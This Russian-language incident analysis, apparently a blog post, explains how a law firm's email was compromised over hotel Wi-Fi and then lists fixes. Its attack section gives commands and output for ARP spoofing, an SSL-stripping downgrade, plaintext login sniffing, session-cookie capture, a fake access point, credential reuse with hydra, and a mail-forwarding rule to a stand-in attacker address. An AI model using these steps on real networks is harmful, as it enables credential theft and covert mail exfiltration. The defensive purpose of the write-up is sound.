Сюжет банален до зевоты: юристы небольшой компании ездили по судам и встречам, в гостиницах подключались к Wi-Fi, проверяли почту. Через некоторое время в переписке трёх сотрудников появились письма, которые они не отправляли, а один из клиентов, узнав о ситуации, приостановил сделку почти на 4 миллиона рублей комиссии. Разберём, что именно происходит технически, когда «просто подключился к Wi-Fi отеля» превращается в «чужой человек читает вашу почту».
Как это эксплуатируется
Гостиничные сети — благодатная среда для атак класса Man-in-the-Middle и захвата сессий. Их роднит несколько вещей: общий пароль на весь этаж или его отсутствие, отсутствие изоляции клиентов друг от друга (client isolation выключена или настроена криво), устаревшие прошивки гостевых шлюзов. Разберём типовую цепочку атаки по шагам.
Шаг 1. Разведка сети
Атакующий, находясь в той же гостиничной сети, первым делом сканирует её на живых хостов и открытые сервисы:
nmap -sn 192.168.1.0/24
Nmap scan report for 192.168.1.14
Host is up (0.0021s latency).
Nmap scan report for 192.168.1.27
Host is up (0.0034s latency).
Nmap scan report for 192.168.1.101 (гостевой шлюз)
Host is up (0.0011s latency).
Nmap done: 254 IP addresses (34 hosts up) scanned in 4.12 secondsДальше — быстрый скан портов на управляющем шлюзе гостиницы, часто это встроенное решение вроде ANTlabs InnGate или аналогичных captive-portal систем, которые годами не обновляются. Историческая CVE-2015-0932 в InnGate — как раз пример прошивки гостиничных шлюзов с захардкоженными SSH-ключами и возможностью получить root-доступ к самому гейтвею. Даже если конкретная точка не уязвима именно к этой CVE, сам класс проблемы — «дешёвое встраиваемое оборудование для гостиниц без цикла обновлений» — актуален до сих пор.
Шаг 2. ARP-спуфинг и перехват трафика
Если изоляция клиентов не настроена, соседний постоялец в буквальном смысле сидит с вами в одном сегменте L2. Дальше — классика:
sudo bettercap -iface wlan0
bettercap v2.32 (built for linux amd64 with go1.19)
» net.probe on
» arp.spoof on
[19:41:02] [net.sniff.http] 192.168.1.14 GET http://mail.company-domain.ru/owa/auth.owa
[19:41:03] [net.sniff.https] 192.168.1.14 -> mail.company-domain.ru:443 (сертификат перехвачен)Bettercap поднимает поддельный ARP-ответ, весь трафик жертвы начинает идти через машину атакующего. Если почтовый клиент или веб-интерфейс webmail работает по HTTP или без строгого HSTS, добавляется downgrade-атака:
sudo bettercap -iface wlan0 -caplet https-sslstrip
[19:42:11] [https.proxy] 192.168.1.14 downgrade: https://mail.company-domain.ru -> http://mail.company-domain.ru
[19:42:12] [https.proxy] captured login: user=ivanov.k pass=Qwerty2023!Даже без sslstrip во многих корпоративных настройках почта ходит по IMAP/SMTP без STARTTLS на портах 143 и 25 вместо 993/465/587 с TLS — тогда логин и пароль летят открытым текстом, и достаточно обычного tcpdump:
sudo tcpdump -i wlan0 port 143 -A | grep -i "LOGIN"
19:43:07.881233 IP 192.168.1.14.51322 > mail.company-domain.ru.143: Flags [P.]
a LOGIN "ivanov.k" "Qwerty2023!"Шаг 3. Перехват сессии вместо пароля
Даже если пароль передаётся по HTTPS корректно, часто утекает не сам пароль, а активная сессия — cookie авторизации в веб-почте. Для перехвата используется прокси в связке mitmproxy:
mitmproxy --mode transparent -p 8080
Flow: GET https://mail.company-domain.ru/owa/
Set-Cookie: cadata=CfDJ8Nx7...; secure; HttpOnly
Set-Cookie: OutlookSession=8f3e9a...; path=/Если сайт не проставляет флаг Secure корректно, не привязывает сессию к отпечатку устройства (device fingerprint) или сама почтовая система не сверяет IP/геолокацию при каждом запросе — украденный токен просто копируется в браузер атакующего, и он заходит в почту жертвы без единого пароля. Именно так объясняются «входы с незнакомого IP и с параметрами устройства, не совпадающими с рабочим ноутбуком» — классический признак перезаписанной сессии, а не подбора пароля.
Шаг 4. Fake Access Point как альтернативный сценарий
Если ARP-спуфинг заблокирован изоляцией клиентов, атакующий может пойти другим путём — поднять поддельную точку доступа с именем, похожим на официальный Wi-Fi отеля:
sudo airbase-ng -e "Hotel_Guest_WiFi" -c 6 wlan0mon
19:50:11 Created tap interface at0
19:50:11 Broadcasting beacon frames for SSID: "Hotel_Guest_WiFi"Или с полноценным перехватом авторизации через hostapd-wpe, эмулирующий портал входа. Жертва, у которой телефон или ноутбук помнит SSID и автоматически подключается к «знакомой» сети с более сильным сигналом, попадает прямиком к атакующему, а весь дальнейший трафик проходит уже описанные шаги 2–3.
Что и почему сработало бы дальше
Получив доступ к почте одного юриста, атакующий не останавливается на чтении писем:
- Просматривает переписку по активным сделкам, вытаскивает суммы, реквизиты, условия — это готовый материал для BEC-атаки (Business Email Compromise): подмена реквизитов в счёте, отправленном клиенту от имени «своего» юриста.
- Ищет в почте вложения со сканами паспортов, доверенностями, договорами — материал для мошенничества с идентификацией личности клиентов.
- Проверяет, использует ли жертва тот же пароль в других сервисах — берёт учётные данные и прогоняет их через списки корпоративных сервисов компании (VPN, CRM, 1С) простым брутфорсом:
hydra -l ivanov.k -p 'Qwerty2023!' vpn.company-domain.ru https-post-form \
"/login:user=^USER^&pass=^PASS^:F=incorrect"
[443][http-post-form] host: vpn.company-domain.ru login: ivanov.k password: Qwerty2023!New-InboxRule -Name "Sync" -Mailbox "ivanov.k@company-domain.ru" `
-ForwardTo "external@attacker-mail.com" -Confidential $trueИменно такое правило пересылки чаще всего и обнаруживают постфактум при аудите — и именно его в первую очередь нужно проверять при подозрении на компрометацию почты.
Как закрыть
Разбор инцидента показал, что дыра была не в железе и не в сложности пароля, а в отсутствии нескольких базовых настроек. Конкретные шаги:
- VPN на все устройства, работающие вне офиса. Даже простой WireGuard-туннель до собственного сервера снимает всю проблему ARP-спуфинга и подмены точки доступа — трафик уходит зашифрованным до выхода в интернет, независимо от того, что происходит внутри гостиничной сети:
[Interface] PrivateKey = <client_private_key> Address = 10.10.0.2/24 DNS = 10.10.0.1 [Peer] PublicKey = <server_public_key> Endpoint = office-vpn.company-domain.ru:51820 AllowedIPs = 0.0.0.0/0 - Двухфакторная аутентификация на почте. Даже если пароль или сессионный токен утекли, вход с нового устройства блокируется запросом второго фактора — TOTP-приложение или push-подтверждение.
- Принудительный STARTTLS/TLS на всех почтовых протоколах. Отключить plain-порты 143/110/25 полностью, оставить только 993/995/465/587 с TLS:
postconf -e smtpd_tls_security_level=encrypt postconf -e smtp_tls_security_level=encrypt postconf -e smtpd_tls_auth_only=yes - Мониторинг входов и алерты. Настроить оповещение в мессенджер при входе с нового устройства, незнакомой геолокации или создании правил автопересылки — это дешёвая мера, которая ловит инцидент на первом же дне, а не через две недели.
- Аудит существующих правил пересылки и сессий — разово пройтись по всем почтовым ящикам компании и проверить, нет ли скрытых inbox-rule на внешние адреса, а также отозвать все активные сессии после смены паролей.
- Вынос чувствительных документов из почты. Сканы паспортов, доверенности, договоры — не должны годами лежать во вложениях писем. Их место — в защищённом хранилище с ограниченным доступом и журналом обращений.
- Организационное правило для сотрудников в разъездах: никакой работы через открытый Wi-Fi без VPN, личные и рабочие аккаунты не смешивать на одном устройстве.
На всё это ушло два дня работы и настройки, которые в разы дешевле сорванной сделки на 4 миллиона рублей — не говоря о репутационном ущербе, если бы факт утечки переписки клиентов юридической компании стал публичным.